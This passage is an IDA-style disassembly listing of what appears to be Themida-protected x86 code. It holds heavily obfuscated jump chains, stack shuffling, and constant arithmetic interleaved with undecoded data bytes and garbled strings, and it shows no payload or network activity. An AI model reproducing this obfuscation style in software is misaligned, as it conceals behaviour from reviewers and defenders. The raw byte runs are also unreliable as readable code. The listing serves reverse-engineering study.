		jmp	loc_548E7F
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFC8A3h, 81241C8Bh, 4C4h,	857E900h, 575B0000h, 0E37176BFh
		dd 0E9DFF718h, 0FFFFEF32h, 0B050C300h, 0E9062C0Fh, 88Ah
		dd 240C895Ch, 0FFF2F0E9h, 86E957FFh, 57FFFFF0h,	0CC6045BFh
		dd 5FF83141h, 0FFB542E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C2E5:				; CODE XREF: Themida_:00549160j
		jnz	loc_550C32
		push	52ECh
		jmp	loc_546ABA
; ---------------------------------------------------------------------------

loc_54C2F5:				; CODE XREF: Themida_:00549C9Fj
		shl	edx, 1
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_550EB3
; ---------------------------------------------------------------------------

loc_54C30A:				; CODE XREF: Themida_:00551EA0j
		shr	ebx, 1
		xor	ebx, 308B5049h
		add	ebx, 9B9DB339h
		add	edi, ebx
		pop	ebx
		add	eax, edi
		jmp	loc_54A729
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 83572414h, 48904ECh,	4727E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C332:				; CODE XREF: Themida_:0055109Fj
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_54DCE9
; ---------------------------------------------------------------------------
		db 81h
		dd 9F3BEDF6h, 0EE81460Eh, 4CBF3DEAh, 875EF001h,	248B2404h
		dd 0E7BFE924h, 0BB53FFFFh, 3DFA5DD6h, 0FFD7AAE9h, 1C77FFFFh
		dd 6658669Dh, 9C240419h, 0FFE53EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C375:				; CODE XREF: Themida_:0054C1D7j
		add	ebx, 44516E0Bh
		sub	ebx, 683D55D3h
		push	edi
		jmp	loc_5495BC
; ---------------------------------------------------------------------------
		db 51h
		dd 0F8E965B5h, 8900003Ah
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_549205
; ---------------------------------------------------------------------------
		dw 268h
		dd 8900000Fh, 1EB9240Ch, 836C3623h, 0D9F701E9h,	2EE98141h
		dd 1364698h, 0BD5559CFh, 19E84F38h, 0C2F9E956h,	0F781FFFFh
		dd 258514B3h, 5CE2E781h, 0BA527896h, 555A2B7Dh,	20EAF281h
		dd 0D7310D01h, 0C8B575Ah, 5C6DE924h, 0E9510000h, 5FA7h
; ---------------------------------------------------------------------------

loc_54C3FC:				; CODE XREF: Themida_:0054B37Cj
		add	edi, 5D730BD9h
		add	edi, 999CD614h
		push	edi
		mov	eax, [esp]
		jmp	loc_54691F
; ---------------------------------------------------------------------------

loc_54C411:				; CODE XREF: Themida_:0054C844j
		mov	eax, 55ED7A32h
		shr	eax, 2
		push	esi
		mov	esi, 91229D23h
		jmp	loc_549887
; ---------------------------------------------------------------------------
aSS7		db ')è]éÁ7',0
		align 4
		dd 5058E220h, 0C2082EB0h, 0D46FE958h, 5BB9FFFFh, 8170FD46h
		dd 84E82E9h, 0B689E94Ah, 0EC83FFFFh, 24048904h,	525331B0h
		dd 0F6E997B6h, 58FFFFBFh, 1BBCE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C462:				; CODE XREF: Themida_:00547E3Cj
		push	ebx
		push	esi
		jmp	loc_54DC5F
; ---------------------------------------------------------------------------

loc_54C469:				; CODE XREF: Themida_:00548F84j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_548E2F
; ---------------------------------------------------------------------------

loc_54C485:				; CODE XREF: Themida_:0054693Aj
		push	6DCh
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 15EF1DE3h
		not	eax
		shl	eax, 5
		xor	eax, 421C4384h
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_548F7B
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C9h
		dd 5C8C2EDDh, 1E98349h,	0C102E1C1h, 0E98108E1h,	30BFEBFCh
		dd 82E9CF01h, 81000008h, 9322D7C2h, 0C603E937h,	79BDFFFFh
		dd 8102D72Ch, 3F236DC5h, 0A4C8E919h, 23B8FFFFh,	0E9143456h
		dd 0C38h, 4244C01h, 0E632E959h,	0E950FFFFh, 48F0h, 4C5815Dh
		dd 51000000h, 0C1815954h, 4, 8704E983h,	895C240Ch, 2BF243Ch
		dd 1000000h, 243C8BFDh,	8104C483h, 4ECh, 242C8900h, 42474FFh
		dd 81242C8Bh, 4C4h, 0B520E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C53E:				; CODE XREF: Themida_:00550454j
		mov	eax, [esp]
		push	ebp
		jmp	loc_550427
; ---------------------------------------------------------------------------

loc_54C547:				; CODE XREF: Themida_:005474A3j
		push	ebx
		mov	ebx, 5FEB2E78h
		jmp	loc_54DBF1
; ---------------------------------------------------------------------------
		dw 6664h
		dd 6866028Bh, 896669D2h, 0DBE92404h, 0FFFFFF9Ah, 589D1C77h
		dd 9C240411h, 0FF9ACDE9h, 2EDA2DFFh, 3A2D6267h,	13F5A38h
		dd 383A05C8h, 0DA053F5Ah, 0E962672Eh, 360Bh, 1B1CCE81h
		dd 0EE81561Ah, 4C6E1EF4h, 0E29E9h, 9A9CE900h, 3489FFFFh
		dd 0EFE0E924h, 0C181FFFFh, 4, 0E9240C87h, 0FFFFB436h, 5AD7015Eh
		dd 0FFC0B60Fh, 82688734h, 89000073h, 0FC682434h, 5E000003h
		dd 1667E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C5D5:				; CODE XREF: Themida_:0054D87Ej
		pop	esp
		shr	ecx, 0Bh
		push	201Bh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		push	723928CEh
		pop	edi
		jmp	loc_54F610
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 44h
		dd 59FFFFA3h, 45AD388h,	66D8285Ch, 0E94D7A68h, 0FFFFA0BFh
		dd 0F6B25253h, 88D8F280h, 10EDE9D7h, 52560000h,	0A4AE168h
		dd 0C2815A4Eh, 78C71B7Ch, 6421F281h, 0C281186Bh, 214B36CBh
		dd 565AD689h, 0AD240481h, 8B37E563h, 0C4832404h, 4B3AE904h
		dd 56530000h, 2BEh, 425EE900h, 0C1590000h, 0C18107E1h
		dd 0FFFFFFFFh, 5E08950h, 4, 42Dh, 4739E900h, 0CA810000h
		dd 34C55F45h, 2C91E9h, 30F58100h, 8965AD7Ch, 0C6815DEEh
		dd 7EB92821h, 13B4F681h, 0F089F632h, 8FEE815Eh,	16FEB2Eh
		dd 8FC681C6h, 0E96FEB2Eh, 0FFFFB28Bh
; ---------------------------------------------------------------------------

loc_54C6A8:				; CODE XREF: Themida_:005474B7j
		xchg	ecx, [esp]
		pop	esp
		add	ebp, eax
		pop	eax
		jmp	loc_552113
; ---------------------------------------------------------------------------
		dd 0E959CE29h, 0FFFFD69Ah, 2CF0005Ah, 0CCE95A54h, 0BE000014h
		dd 19192304h, 713FC681h, 0EE810E52h, 173145D3h,	575EF001h
		dd 547554BFh, 3EB95118h, 0F709CF1Bh, 4E82E9D1h,	0EDC00000h
		dd 1D0BE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C6F6:				; CODE XREF: Themida_:00549AD2j
		mov	[esp], edi
		push	1B09h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		push	esi
		jmp	loc_54B9B6
; ---------------------------------------------------------------------------
		dw 0C131h
		dd 0B8F18158h, 0E9674D55h, 3592h
; ---------------------------------------------------------------------------

loc_54C720:				; CODE XREF: Themida_:0054F108j
		push	3A3Eh
		mov	[esp], ebp
		mov	ebp, 7FB20D3Ch
		jmp	loc_5482B8
; ---------------------------------------------------------------------------
		dw 42Dh
		dd 87000000h, 248B2404h, 24248924h, 4240481h, 5E000000h
		dd 5AACBB53h, 0EB811E21h, 7E9A246Fh, 0E903EBC1h, 46ABh
		dd 5C240C87h, 0B4240489h, 58E688B6h, 0B8E9CE00h, 81FFFFC1h
		dd 4C5h, 0F2B85000h, 0E97F093Eh, 0FFFFB47Bh, 81240C8Bh
		dd 4C4h, 8B545200h, 89522414h, 9A64E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C796:				; CODE XREF: Themida_:0054E6D1j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		not	eax
		jmp	loc_550451
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5455240Ch, 0A3B9515Dh, 0E97A281Ah, 0FFFFCAB0h
; ---------------------------------------------------------------------------

loc_54C7B8:				; CODE XREF: Themida_:005508DFj
		xor	edi, esi
		jmp	loc_550761
; ---------------------------------------------------------------------------
		db 52h
		dd 0FB6FEABAh, 8BD6093Bh, 0C4812414h, 4, 1497C681h, 0F201CEB0h
		dd 8124348Bh, 4C4h, 50C20100h, 0B01485B8h, 5F68560Eh, 0E971763Fh
		dd 580Ch
; ---------------------------------------------------------------------------

loc_54C7F4:				; CODE XREF: Themida_:00551EF9j
		mov	edi, 55DD12FDh
		xor	ebx, edi
		pop	edi
		jmp	loc_548FC0
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0D0h
		dd 4D13772Ch, 0FFFE70E9h, 0DAC181FFh, 0E964DF10h, 3066h
		dd 8704C683h, 0E95C2434h, 0FFFFC84Fh, 875DEB29h, 248B241Ch
		dd 24896624h, 66526624h, 660002BAh, 2245401h, 0FBE95A66h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C843:				; CODE XREF: Themida_:00548BA3j
		push	eax
		jmp	loc_54C411
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 4, 8704C683h, 55C2434h, 4, 0FFC7D5E9h, 0E951FFh, 58FFFFC0h
		dd 0FFB013E9h, 0FF575DFFh, 5F042474h, 0E924048Fh, 5013h
		dd 0E9C0B60Fh, 0FFFFBBD4h, 4C181h, 25E90000h, 89000008h
		dd 16682434h, 89000047h, 4812424h, 424h, 2434FF00h, 121BE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C8AA:				; CODE XREF: Themida_:005483B2j
		pop	ebp
		xor	ebp, 7FD87C87h
		jmp	loc_54A4FE
; ---------------------------------------------------------------------------

loc_54C8B6:				; CODE XREF: Themida_:0054B9CAj
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xor	edi, [esp]
		jmp	loc_54851B
; ---------------------------------------------------------------------------

loc_54C8C9:				; CODE XREF: Themida_:00547027j
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_54D753
; ---------------------------------------------------------------------------

loc_54C8D2:				; CODE XREF: Themida_:0054AF24j
		mov	edi, edx
		pop	edx
		jmp	loc_54CB49
; ---------------------------------------------------------------------------
		dw 805h
		dd 550F463h, 0B5D1B4Ch,	0FFC9A4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C8E9:				; CODE XREF: Themida_:0054D20Bj
		jz	loc_5475CD
		push	dword ptr [edi+28h]
		push	6AE4h
		jmp	loc_551E5D
; ---------------------------------------------------------------------------
		dd 8039E480h, 0E4C05DF4h, 0AFF48003h, 0FFFB1FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C90D:				; CODE XREF: Themida_:0054956Cj
		push	esp
		push	dword ptr [esp]
		pop	edi
		jmp	loc_54EF85
; ---------------------------------------------------------------------------
		db 29h
		dd 79E95FF8h, 1000058h,	4875FF8h, 4055C24h, 0E9000000h
		dd 0FFFFB64Fh
; ---------------------------------------------------------------------------

loc_54C930:				; CODE XREF: Themida_:00552119j
		push	943h
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, 1656230Bh
		or	ebp, edx
		pop	edx
		jmp	loc_550472
; ---------------------------------------------------------------------------

loc_54C94A:				; CODE XREF: Themida_:0054ED65j
		mov	ebp, 0DFAAB5A1h
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_54A4DB
		push	7A87h
		jmp	loc_5492A4
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 59h
		dd 66FFFF9Dh, 0E9240C8Bh, 0FFFFB3D7h, 0A0C380h,	0A0EB80C3h
		dd 6899C380h, 3E91h, 0E9241489h, 0FFFFEE5Eh, 4C381h, 0C3830000h
		dd 241C8704h, 2404815Ch, 7C104F43h, 0FFEC5EE9h,	4EE81FFh
		dd 87000000h, 895C2434h, 0E789243Ch, 4C781h, 0EF830000h
		dd 1C60E904h, 0EC830000h, 242C8904h, 0C3050BBDh, 17BFE96Dh
		dd 31660000h, 33662414h, 31662414h, 68662414h, 89664CBDh
		dd 4FE92414h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C9FB:				; CODE XREF: Themida_:00547837j
		push	4
		pop	ebx
		jmp	loc_548614
; ---------------------------------------------------------------------------
		dw 6866h
		dd 89666EABh, 50662414h, 9628E99Ch, 489FFFFh, 3471B024h
		dd 68B353FAh, 1C8BD828h, 4C48124h, 0E9000000h, 0FFFFAEC0h
		dd 4B8h, 9FEE8100h, 13F233Fh, 0C004E9C6h, 368FFFFh, 89000021h
		dd 0B450241Ch, 58E78839h, 0FFCB94E9h, 0D5E950FFh, 87000046h
		dd 895C240Ch, 11E9243Ch, 1FFFFC3h, 36685DE8h, 8900003Ch
		dd 2BD242Ch, 1000000h, 0EBA6E9E8h, 0C380FFFFh, 2434FF8Eh
		dd 18E5E959h, 74FF0000h, 8F5F0424h, 248B2404h, 48B6624h
		dd 0E2895224h, 0FFAF23E9h, 240481FFh, 4, 8324048Bh, 40504C4h
		dd 83000000h, 0DCE904ECh, 57FFFFD0h, 110264BFh,	3CBB531Ah
		dd 315F2079h, 50535BDFh, 9F069DB8h, 752DBB7Fh, 0C3316695h
		dd 5BDF2958h, 3C8BFB89h, 0E7895724h, 0FFDF90E9h, 5AD701FFh
		dd 5C243C87h, 565868h, 24348900h, 594AE9h, 4C18300h, 0FFA1A0E9h
		dd 656851FFh, 8900004Fh, 0BD552424h, 4,	4246C01h, 0C181595Dh
		dd 4, 3304C183h, 0C31240Ch, 240C3324h, 4C15E9h,	0B08DBF00h
		dd 0EC8124D3h, 4, 0B9240C89h, 72DF2044h, 0FFC325E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CB49:				; CODE XREF: Themida_:0054C8D5j
		shl	edi, 2
		push	edx
		jmp	loc_54FB6E
; ---------------------------------------------------------------------------
		dw 312Ch
		dd 0C328F304h, 691C6858h, 14890000h, 0E9A2B624h, 0FFFFD448h
		dd 0AFF7E941h, 148BFFFFh, 4C48124h, 51000000h, 0E828EAB5h
		dd 4D80059h, 68142CEAh,	26FFh, 0FFA7D0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CB8D:				; CODE XREF: Themida_:00549263j
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebx
		push	1
		pop	ebx
		jmp	loc_54808D
; ---------------------------------------------------------------------------

loc_54CBA0:				; CODE XREF: Themida_:005462CEj
		mov	edi, 7E536E6h
		add	esi, edi
		jmp	loc_550F3E
; ---------------------------------------------------------------------------
		dd 4C681h, 0EE830000h, 24348704h, 48F545Ch, 3C2A6824h
		dd 1C890000h, 4BB24h, 5C010000h, 585B0424h, 0FFA083E9h
		dd 242C8BFFh, 0FFF191E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CBDD:				; CODE XREF: Themida_:00546EABj
		sub	dh, cl
		pop	ecx
		and	dh, 53h
		sub	esp, 4
		mov	[esp], eax
		mov	al, 0D3h
		sub	dh, 0E3h
		sub	dh, al
		add	dh, 0E3h
		jmp	loc_54BA85
; ---------------------------------------------------------------------------

loc_54CBF8:				; CODE XREF: Themida_:0054A031j
		mov	[esp], ebp
		mov	ebp, ebx
		jmp	loc_551DAC
; ---------------------------------------------------------------------------

loc_54CC02:				; CODE XREF: Themida_:00548FDEj
		add	esi, 1C177823h
		sub	esi, 5BB75DD3h
		sub	esi, ebx
		add	esi, 5BB75DD3h
		sub	esi, 1C177823h
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		pop	esi
		jmp	loc_54DE2B
; ---------------------------------------------------------------------------

loc_54CC28:				; CODE XREF: Themida_:0054AE5Cj
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 24248BC3h, 0FF9409E9h, 48BE56FFh, 8956B04Ah,	0EA815EF2h
		dd 71756353h, 0D3FE9h, 241C8900h, 42474FFh, 0E9241C8Bh
		dd 0FFFF995Eh, 0AABE56ADh, 2D03E910h, 72366C1Fh, 1F05F029h
		dd 8B72366Ch, 0C4832434h, 9AB95104h, 291F0141h,	0D82959C8h
		dd 0EBDE9h, 90E95600h, 5500003Dh, 4BDh,	8DEF8100h, 0E97AF749h
		dd 46A6h, 89C58955h, 5EE95DEAh,	81FFFFD4h, 2E6F61C5h, 2CBF5735h
		dd 816B3E24h, 1C7h, 4EC8100h, 89000000h, 4CBE2434h, 0E96B796Dh
		dd 2BA1h, 116568h, 24348900h, 47783EBEh, 46D6F733h, 8BE9DEF7h
		dd 81FFFFBDh, 662FF7EEh, 0D34CE905h, 1433FFFFh,	24143124h
		dd 8B241433h, 28E92424h, 54FFFF96h, 8324348Bh, 0C68104C4h
		dd 4, 605568h, 24148900h, 2BAh,	0C3E95200h, 0B4FFFFD4h
		dd 94E952B7h, 66FFFFDAh, 8124048Bh, 4ECh, 242C8900h, 0E957E589h
		dd 4D2Fh
; ---------------------------------------------------------------------------

loc_54CD38:				; CODE XREF: Themida_:0054ECD6j
		add	edx, 4
		sub	edx, 4
		jmp	loc_546ADD
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C7h
		dd 2, 5C243C87h, 24043166h, 92E0E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CD5E:				; CODE XREF: Themida_:0055046Dj
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	ecx, edx
		pop	edx
		shr	ecx, 7
		push	edi
		push	esp
		pop	edi
		jmp	loc_54B8B3
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 39EF68h, 0A859E900h, 0E952FFFFh, 0FFFFEF50h
; ---------------------------------------------------------------------------

loc_54CD8C:				; CODE XREF: Themida_:0054BEAAj
		mov	esp, [esp]
		sub	eax, 3295712Ah
		push	760Ch
		jmp	loc_546685
; ---------------------------------------------------------------------------

loc_54CD9E:				; CODE XREF: Themida_:0054A0FCj
		mov	edx, edi
		mov	ebp, edx
		pop	edx
		pop	edi
		and	edi, ebp
		pop	ebp
		xor	edi, 297C565Dh
		sub	edi, 4D9502B7h
		push	edi
		pop	edx
		jmp	loc_5510AF
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 24048F00h, 4B951h, 1DE90000h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CDCF:				; CODE XREF: Themida_:00546635j
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_548A62
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 15EF589h, 21B2E9EFh, 2C870000h, 0F7E95C24h
		dd 0C000027h, 0E95434B9h, 0FFFFB480h, 0E904C483h, 0FFFFFEC4h
		dd 6653665Bh, 66043E68h, 592D665Bh, 0D801664Fh,	0FFE85DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CE19:				; CODE XREF: Themida_:00547A3Ej
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_548A51
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4C281h, 14870000h, 0FB315C24h, 0A45BE95Fh, 3431FFFFh
		dd 24343324h, 8524248Bh, 0EFE99CC8h, 59FFFF91h,	0FF9CFCE9h
		dd 4C483FFh, 706E6850h,	48580D14h, 0EB8F9505h, 58C101F2h
		dd 31240C33h, 5E9240Ch,	59000049h, 0B97E981h, 0E1C12206h
		dd 1EC18108h, 57F35377h, 0C53A0BBFh, 5FFB0176h,	0EB81CB29h
		dd 76C53A0Bh
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 398A6B10h
		jmp	loc_54E237
; ---------------------------------------------------------------------------

loc_54CEB2:				; CODE XREF: Themida_:005463C1j
		push	800h
		pop	ebx
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54E364
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFBD14E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CED9:				; CODE XREF: Themida_:0054E513j
		sub	edi, esi
		pop	esi
		push	esi
		push	edx
		jmp	loc_548895
; ---------------------------------------------------------------------------
		db 4
		dd 2CC800D5h, 665966D5h, 0B252535Bh, 0D6C280EBh, 0E9D5EA80h
		dd 0BF6h
; ---------------------------------------------------------------------------

loc_54CEFC:				; CODE XREF: Themida_:0054D1EEj
		mov	ebx, 0CC0E1553h
		mov	ebp, ebx
		pop	ebx
		add	ebx, 11D800E3h
		add	ebx, ebp
		sub	ebx, 11D800E3h
		pop	ebp
		jmp	loc_54FA3D
; ---------------------------------------------------------------------------

loc_54CF18:				; CODE XREF: Themida_:0054F309j
		xor	ebp, 40D5BD7Bh
		sub	edi, ebp
		jmp	loc_5502B9
; ---------------------------------------------------------------------------

loc_54CF25:				; CODE XREF: Themida_:00546539j
		xor	esi, ecx
		jmp	loc_54914B
; ---------------------------------------------------------------------------

loc_54CF2C:				; CODE XREF: Themida_:00548BB0j
		or	edx, 16A131AAh
		xor	edx, 1F9E58AFh
		xor	edx, 5BC14266h
		xor	ecx, edx
		pop	edx
		jmp	loc_549550
; ---------------------------------------------------------------------------

loc_54CF46:				; CODE XREF: Themida_:0055156Bj
		xor	ebx, ebp
		not	ebx
		shr	ebx, 5
		sub	ebx, 42008Fh
		jmp	loc_54A563
; ---------------------------------------------------------------------------
		dd 81595451h, 4C1h, 0F6E4E900h,	0BA68FFFFh, 0E900000Eh
		dd 545Eh
; ---------------------------------------------------------------------------

loc_54CF70:				; CODE XREF: Themida_:0055082Dj
		mov	esi, esp
		jmp	loc_54E6E5
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C18104E1h, 3DDD28A4h, 0C29DE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CF86:				; CODE XREF: Themida_:0054D2C4j
		pop	edi
		mov	edi, [esp]
		jmp	loc_54AD7A
; ---------------------------------------------------------------------------
		db 81h
		dd 2658F8C7h, 0E9F70115h, 0FFFFDB1Ch
; ---------------------------------------------------------------------------

loc_54CF9C:				; CODE XREF: Themida_:0054AB14j
		mov	ebx, eax
		push	ecx
		mov	ecx, ebx
		jmp	loc_54A068
; ---------------------------------------------------------------------------
aVVz6pbSo	db 'V¾¢z6pÁ',27h,']Ñ"éŽ+',0
		dw 3300h
a41434S		db '4$14$34$é¹',9,0
		dd 81434300h, 15DC03EBh, 0C1DBF705h, 0EB8108EBh, 0E5A6D8h
		dd 0E95BD801h, 0FFFFA87Fh
; ---------------------------------------------------------------------------

loc_54CFE0:				; CODE XREF: Themida_:0054AEFAj
		mov	[esp], ebp
		jmp	loc_54F84C
; ---------------------------------------------------------------------------
		dd 0CB72CC2Dh, 0D019E956h, 9E68FFFFh, 8900004Ah, 5CE9240Ch
		dd 8F00002Bh, 9038E902h, 0B60FFFFFh, 0A36866C0h, 4896647h
		dd 9028E924h, 0CA21FFFFh, 0B3EE959h, 0C5810000h, 2, 5C242C87h
		dd 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54B7CA
; ---------------------------------------------------------------------------
		dd 0BC00E958h, 8151FFFFh, 4ECh,	24048900h, 405E089h, 83000000h
		dd 26E904E8h, 87FFFFD9h, 0E9D6F7F7h, 1020h
; ---------------------------------------------------------------------------

loc_54D05C:				; CODE XREF: Themida_:0054B36Cj
		push	eax
		not	dword ptr [esp]
		jmp	loc_5465A4
; ---------------------------------------------------------------------------

loc_54D065:				; CODE XREF: Themida_:00550000j
		or	edx, eax
		shl	edx, 1
		push	48D6h
		mov	[esp], esi
		push	eax
		push	ecx
		mov	ecx, 3EDA15FEh
		mov	eax, 72C22C5Eh
		jmp	loc_5522D4
; ---------------------------------------------------------------------------
aXh		db 'XhÚ=',0
		align 4
		dd 0E9241C89h, 0FFFFC034h, 240C8B5Bh, 4C481h, 9FE90000h
		dd 0C1FFFF8Fh, 0EDC107EDh, 0BE31E906h, 4168FFFFh, 0E9567D4Ch
		dd 4C23h, 5C240C87h, 0FFA40BE9h, 0FFDA01FFh, 1C8B2434h
		dd 4C48124h, 81000000h,	4C4h, 24148700h, 0E924248Bh, 0FFFFE48Bh
		dd 0E9243487h, 0FFFFDB08h
; ---------------------------------------------------------------------------

loc_54D0E4:				; CODE XREF: Themida_:00546CDEj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	2EC5h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_550F57
; ---------------------------------------------------------------------------
		dd 34562735h, 2140E914h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D12E:				; CODE XREF: Themida_:00551CD2j
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_547EC5
; ---------------------------------------------------------------------------
		db 89h
		dd 0CEB82404h, 292EC901h, 0E9042444h, 0FFFF9038h, 83241C8Bh
		dd 0E95704C4h, 0FFFFF92Ah
; ---------------------------------------------------------------------------

loc_54D160:				; CODE XREF: Themida_:005494C4j
		xor	ebx, esi
		jmp	loc_54C129
; ---------------------------------------------------------------------------
		db 88h
		dd 0E9D588C2h, 0FFFFD089h, 0E9243C33h, 0FFFFB9E4h, 0E959EE00h
		dd 118Fh, 34FFC588h, 0C4835824h, 876C8804h, 1C8B5901h
		dd 4C48324h, 0FF8EA5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D199:				; CODE XREF: Themida_:005494DBj
		dec	ebx
		xor	ebx, 0F7F41104h
		add	eax, ebx
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		push	70E4h
		mov	[esp], eax
		push	edi
		jmp	loc_54B371
; ---------------------------------------------------------------------------
		db 0FFh
		dd 51582434h, 240C8B54h, 4C481h, 0C1810000h, 4,	7AEA68h
		dd 0AC85E900h, 6A2DFFFFh, 818F4F83h, 5020E4C3h,	0E770E973h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D1E6:				; CODE XREF: Themida_:0055114Dj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		jmp	loc_54CEFC
; ---------------------------------------------------------------------------

loc_54D1F3:				; CODE XREF: Themida_:0054713Dj
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_54C8E9
; ---------------------------------------------------------------------------
		dd 5568EAB8h, 1C6CE969h, 0C4830000h, 0EF2FE904h, 5105FFFFh
		dd 2936924Fh, 4F512DD0h, 685A3692h, 1B6Ah, 68243489h, 7C44h
		dd 0FFC811E9h, 69C380FFh, 65E9C328h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D24B:				; CODE XREF: Themida_:0054DC09j
		sub	ebx, 598B16DAh
		push	edx
		jmp	loc_547807
; ---------------------------------------------------------------------------
		db 5Dh
		dd 523EB81h, 0FB01151Ah, 523C381h, 515F151Ah, 2B9h, 0E9CB0100h
		dd 48F2h, 0E9240487h, 48CBh, 0BE5655ADh, 759A335Bh, 4B77E9h
		dd 2158B900h, 0BA525C00h, 18864146h, 0FFCA99E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D299:				; CODE XREF: Themida_:00551DD8j
		mov	[esp], edx
		mov	edx, 24h
		add	edx, edi
		jmp	loc_54D4AC
; ---------------------------------------------------------------------------
		dd 1CE9E189h, 50000023h, 0C9E9F888h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D2B7:				; CODE XREF: Themida_:0054640Cj
		shr	edi, 4
		xor	edi, 578F9749h
		sub	[esp+8], edi
		jmp	loc_54CF86
; ---------------------------------------------------------------------------
		db 4Fh,	53h, 0BBh
		dd 6AF17057h, 7450CB81h, 0CB816BF0h, 60F45D72h,	44C8B951h
		dd 31E90680h, 81000049h, 4C4h, 72C68100h, 167CC01h, 72EE81FEh
		dd 8167CC01h, 7A4617EEh, 2434FF0Bh, 0E389535Fh,	4C381h
		dd 0C3810000h, 4, 0E9241C87h, 3226h
; ---------------------------------------------------------------------------

loc_54D31C:				; CODE XREF: Themida_:0054B308j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		push	ebx
		push	7E7347ECh
		pop	ebx
		shr	ebx, 3
		neg	ebx
		add	ebx, 0FCE6901h
		mov	edi, ebx
		pop	ebx
